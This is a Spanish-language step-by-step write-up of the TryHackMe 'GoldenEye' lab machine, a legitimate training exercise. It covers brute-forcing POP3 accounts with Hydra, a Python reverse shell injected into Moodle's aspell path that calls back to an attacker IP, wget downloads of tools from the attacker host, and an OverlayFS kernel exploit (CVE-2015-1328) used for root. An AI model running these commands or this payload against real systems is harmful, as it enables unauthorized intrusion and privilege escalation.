TryHackMe Medium Target IP: 10.129.188.5

Máquina GoldenEye

Resolución paso a paso de la máquina GoldenEye de TryHackMe, que abarca la enumeración de servicios de correo, explotación de la plataforma Moodle y escalada de privilegios local.

#Linux#Moodle#POP3#Hydra#Exiftool#RCE#OverlayFS#Kernel-Exploit#CVE-2015-1328

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):

sudo nmap -sV -A -T5 -p- 10.129.188.5
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.188.5

Resultados Clave de Nmap

El escaneo revela 4 puertos abiertos de interés:

  • Puerto 25 (SMTP): Servidor de correo Postfix smtpd.
  • Puerto 80 (HTTP): Servidor web Apache httpd 2.4.7 (Ubuntu).
  • Puerto 55006 (SSL/POP3): Servidor de correo Dovecot pop3d.
  • Puerto 55007 (POP3): Servidor de correo Dovecot pop3d.

Fase 2: Enumeración y Acceso Inicial

1. Inspección del Servidor Web (Puerto 80)

Accedemos a la raíz del servidor web a través de la dirección IP por HTTP: http://10.129.188.5/. La página de inicio nos presenta la interfaz de la estación de control auxiliar “Severnaya”.

Servidor web Apache en el puerto 80
Mensaje en el index de la web que indica dirigirse a la ruta /sev-home/ para iniciar sesión

Inspeccionamos el código fuente HTML de la página web principal:

Código fuente HTML de index.html
Código HTML básico que carga un script llamado terminal.js

2. Extracción de Credenciales en terminal.js

Accedemos al código del script expuesto en http://10.129.188.5/terminal.js. En él localizamos un bloque de comentarios dirigido a Boris con una contraseña codificada en entidades HTML:

InvincibleHack3r

Además, se incluye una pista relevante: “BTW Natalya says she can break your codes”.

Comentario con contraseña codificada en terminal.js
Comentarios en el script que contienen la contraseña codificada del usuario Boris

Decodificamos las entidades HTML utilizando la herramienta en línea HTML to ASCII Converter de Browserling, revelando la contraseña en texto claro:

Traductor de entidades HTML a ASCII
Decodificación exitosa de la contraseña de Boris: InvincibleHack3r
  • Usuario: boris
  • Contraseña: InvincibleHack3r

3. Acceso a /sev-home/

Con estas credenciales, intentamos entrar al directorio web protegido en http://10.129.188.5/sev-home/ a través de la solicitud de autenticación básica del navegador:

Formulario de autenticación básica HTTP
Inicio de sesión en sev-home como boris

El login es exitoso. La página nos confirma que la estación POP3 ha sido configurada en un puerto no estándar muy alto para mayor seguridad.

Contenido de sev-home
Página de bienvenida de sev-home con notas del proyecto GoldenEye y pistas del servicio POP3

Fase 3: Enumeración de Servicios y Fuerza Bruta en POP3

1. Pruebas de Reutilización de Credenciales

Intentamos usar las credenciales de Boris (boris:InvincibleHack3r) en el servicio SMTP (puerto 25) y POP3 (puerto 55007):

  • SMTP: Al conectarnos mediante openssl s_client e intentar autenticarnos con AUTH LOGIN, el servidor nos devuelve un error: 503 5.5.1 Error: authentication not enabled.
Error de autenticación SMTP
Prueba de inicio de sesión SMTP fallida, la autenticación no está disponible
  • POP3: Al conectarnos mediante telnet al puerto 55007, el login con PASS InvincibleHack3r resulta fallido.
Fallo de login POP3
Intento fallido de autenticación manual en el puerto POP3

2. Fuerza Bruta a POP3 (Usuario Boris)

Debido a que la contraseña no se reutiliza en este servicio, lanzamos un ataque de fuerza bruta con hydra contra el puerto 55007 usando el diccionario fasttrack.txt:

hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
Ataque de fuerza bruta de Hydra contra boris
Contraseña POP3 válida encontrada para boris: secret1!
  • Usuario: boris
  • Contraseña POP3: secret1!

3. Lectura de Emails de Boris

Nos conectamos vía telnet y leemos los 3 correos electrónicos guardados en el buzón utilizando el comando RETR:

  • Mensaje 1: Correo de bienvenida del administrador.
Lectura del mensaje 1 de Boris
Visualización del primer correo en el buzón POP3
  • Mensaje 2: Mensaje enviado por Natalya retando a Boris: “Boris, I can break your codes!”, confirmando el nombre del usuario natalya.
Lectura del mensaje 2 de Boris
Mensaje de Natalya retando las aptitudes de Boris
  • Mensaje 3: Correo de alec@janus.boss discutiendo el plan y mencionando que una vez que una usuaria llamada Xenia acceda al sitio de entrenamiento, el plan continuará.
Lectura del mensaje 3 de Boris
Tercer mensaje revelando el nombre de usuario de Xenia y del líder Alec

4. Fuerza Bruta a POP3 (Usuario Alec y Natalya)

Intentamos realizar fuerza bruta contra la cuenta de alec (tanto janus como alec@janus.boss) en POP3 sin éxito:

Intento de fuerza bruta contra Alec
Ataques fallidos de fuerza bruta contra la cuenta de Alec en POP3

Posteriormente, dirigimos el ataque de fuerza bruta contra el usuario natalya mediante hydra:

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
Ataque de fuerza bruta exitoso contra natalya
Contraseña POP3 válida identificada para natalya: bird
  • Usuario: natalya
  • Contraseña POP3: bird

5. Lectura de Emails de Natalya

Iniciamos sesión vía telnet en la cuenta de Natalya y listamos sus correos:

  • Mensaje 1: Notificación de que el sindicato criminal Janus está intentando infiltrar el sistema.
Buzón de Natalya mensaje 1
Mensaje del administrador advirtiendo de posibles brechas e intentos de Janus
  • Mensaje 2: Mensaje del root que incluye las credenciales de la nueva estudiante Xenia para la plataforma Moodle, la subruta del sitio de entrenamiento (/gnocertdir) y la instrucción de agregar la IP de la máquina al nombre de dominio severnaya-station.com en el archivo /etc/hosts local.
Buzón de Natalya mensaje 2
Mensaje de configuración crítica del sitio web Moodle y credenciales de Xenia
  • Credenciales de Moodle obtenidas:
    • Usuario: xenia
    • Contraseña: RCP90rulez!
    • Sitio web: severnaya-station.com/gnocertdir

Fase 4: Acceso a Moodle y Obtención de Credenciales de Administrador

1. Configuración de /etc/hosts

Agregamos la línea necesaria al archivo /etc/hosts de nuestra máquina atacante para poder resolver el dominio de forma correcta:

10.129.188.5 severnaya-station.com
Edición de hosts
Mapeo de la dirección IP de GoldenEye en el archivo de hosts

2. Acceso a Moodle como Xenia

Accedemos a http://severnaya-station.com/gnocertdir/login/index.php en nuestro navegador e iniciamos sesión con la cuenta de xenia:

Moodle login Xenia
Formulario de inicio de sesión en Moodle utilizando las credenciales de Xenia

Una vez logueados, nos dirigimos a la sección de mensajería interna. Encontramos un mensaje de Dr Doak indicándonos que su usuario de correo electrónico es doak y nos aconseja contactarle vía email ante cualquier duda.

Mensajes en Moodle
Chat de mensajería de Moodle donde el Dr. Doak revela su usuario de correo electrónico

3. Fuerza Bruta a POP3 (Usuario Doak)

Ejecutamos fuerza bruta contra la cuenta de correo de doak en el puerto 55007:

hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
Fuerza bruta contra Doak
Contraseña POP3 válida encontrada para doak: goat
  • Usuario POP3: doak
  • Contraseña POP3: goat

4. Acceso al correo de Doak

Nos logueamos vía telnet en el buzón POP3 del Dr. Doak y leemos el correo disponible:

Lectura del correo del Dr. Doak
Correo electrónico que contiene la credencial de su cuenta personal de Moodle
  • Credenciales Moodle del Dr. Doak:
    • Usuario: dr_doak
    • Contraseña: 4England!

5. Acceso a Moodle como Dr. Doak y Archivo Secreto

Salimos de la sesión de Xenia e iniciamos sesión en Moodle como el usuario dr_doak:

Login en Moodle de dr_doak
Autenticación en la plataforma como el Dr. Doak

Dentro del panel, en la sección “My private files” (Archivos privados), encontramos el archivo s3cret.txt. Al abrirlo, vemos una nota indicando que las credenciales de administración se encuentran capturadas en texto claro dentro de los metadatos de la imagen for-007.jpg ubicada en /dir007key/for-007.jpg.

Lectura de s3cret.txt
Documento de texto que desvela la ubicación de la imagen contenedora de la clave

Descargamos la imagen /dir007key/for-007.jpg del servidor web:

Visualización de la imagen descargada
Descarga y visualización de la imagen for-007.jpg

6. Análisis de Metadatos y Decodificación

En lugar de usar la terminal, abrimos las propiedades del fichero for-007.jpg directamente desde el gestor de archivos de Kali Linux en la pestaña “Image”:

Propiedades de la imagen
Propiedades del archivo mostrando un string codificado en Base64 en el campo Description

El metadato de descripción contiene la cadena: eFdpbnRlcjE5OTV4IQ== (mostrada en la captura como eFdpbnRlcjE5OTV4IQ sin relleno).

Accedemos a la plataforma en línea base64decode.org para decodificar esta cadena:

Decodificación Base64 en línea
Cadena decodificada que expone la contraseña de administrador de Moodle: xWinter1995x!
  • Usuario Administrador Moodle: admin
  • Contraseña Moodle: xWinter1995x!

Fase 5: Explotación y Acceso Inicial (RCE en Moodle)

1. Acceso de Administrador a Moodle

Iniciamos sesión en el portal Moodle utilizando la cuenta de administrador:

Formulario Moodle para admin
Inicio de sesión en Moodle como el usuario administrador principal

2. Configuración de Aspell para Execución de Comandos

Moodle permite definir la ruta del binario aspell usado en su editor HTML (TinyMCE). Para explotarlo y obtener ejecución de comandos:

  • Navegamos a la sección de administración del editor TinyMCE.
  • Cambiamos la opción Spell engine (motor ortográfico) de su valor por defecto a PSpellShell.
  • En el campo Path to aspell, inyectamos una reverse shell en Python parametrizada para conectar a nuestra IP atacante (192.168.149.112) en el puerto 9001:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.149.112",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Configuración de rutas de aspell
Payload de reverse shell en Python inyectado en la ruta de ejecución de aspell

3. Obtención de la Shell Reversa

Dejamos a la escucha nuestro puerto en Kali:

nc -lvnp 9001

Para activar el payload, creamos una nueva publicación en Moodle y hacemos clic en el icono de revisión ortográfica (spellcheck). El editor invoca el comando inyectado y recibimos la shell reversa interactiva como el usuario www-data:

Recibiendo la conexión en Netcat
Consola obtenida como www-data mediante la ejecución del corrector de ortografía

Fase 6: Escalamiento de Privilegios

1. Enumeración Interna

Utilizando la máquina atacante en la IP 192.168.149.112, levantamos un servidor HTTP rápido en Python para transferir el script de enumeración de privilegios linuxprivchecker.py:

python3 -m http.server 8000

En la máquina víctima, descargamos y ejecutamos el script:

wget http://192.168.149.112:8000/linuxprivchecker.py
python linuxprivchecker.py
Transferencia de linuxprivchecker
Descarga del script de enumeración en el host víctima a través del servidor web Python

El script recopila información básica del sistema, revelando que el kernel del sistema operativo objetivo es vulnerable a la explotación local de OverlayFS:

Kernel y sistema operativo
Información del kernel: Linux versión 3.13.0-32-generic de Ubuntu

2. Transferencia del Exploit de Kernel (CVE-2015-1328)

Descargamos el código fuente en C de la explotación local de OverlayFS (overlayfs.c):

wget http://192.168.149.112:8000/overlayfs.c
Descarga de overlayfs.c
Transferencia exitosa del archivo de explotación en C al directorio temporal

3. Compilación y Ejecución con CC

El compilador regular gcc no está disponible en la máquina víctima. Sin embargo, el compilador básico cc sí está presente.

Para que la compilación interna de la librería compartida que realiza el exploit no falle, sustituimos las llamadas hardcodeadas de gcc por cc dentro del código fuente utilizando sed:

sed -i "s/gcc/cc/g" overlayfs.c
cc overlayfs.c -o ofs

Otorgamos permisos de ejecución al ejecutable de salida y lo ejecutamos:

chmod +x ofs
./ofs
Compilación y ejecución del exploit
Sustitución de referencias a gcc con sed, compilación exitosa y ejecución para obtener privilegios de root

4. Captura de la Flag Final

Una vez que obtenemos privilegios de root (uid=0), listamos el directorio /root y visualizamos el contenido del archivo oculto .flag.txt:

cat /root/.flag.txt
Lectura de flag root
Visualización de la flag root.txt en la máquina comprometida
  • Flag final de root: 568628e0d993b1973adc718237da6e93
  • Enlace de recompensa final: /006-final/xvf7-flag/

La máquina ha sido totalmente comprometida de principio a fin.


Fuentes y Referencias